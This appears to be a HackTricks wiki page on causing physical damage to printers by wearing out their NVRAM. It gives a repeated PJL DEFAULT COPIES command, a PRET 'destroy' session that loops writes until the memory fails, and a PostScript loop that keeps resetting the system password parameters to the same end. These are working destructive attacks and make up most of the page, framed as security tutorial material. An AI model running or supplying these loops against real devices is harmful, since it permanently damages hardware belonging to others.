This reverts commit 71795de168
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Physical Damage
Long-term settings for printers and other embedded devices are stored in non-volatile memory (NVRAM) which is traditionally implemented either as EEPROM or as flash memory. Both components have a limited lifetime. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur.
PJL
For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for X
:
@PJL DEFAULT COPIES=X
Usually, before stop allowing writing anymore NVRAM parameters are fixed to the factory default value and all variables could still be changed for the current print job using the @PJL SET...
command.
Using PRET:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11
PostScript
For PostScript, one needs to find an entry in the currentsystemparams dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate would be a PostScript password.
PostScript can run a script that corrupts its own NVRAM:
/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop
More information about these techniques can be found in http://hacking-printers.net/wiki/index.php/Physical_damage
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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Share your hacking tricks submitting PRs to the hacktricks github repo.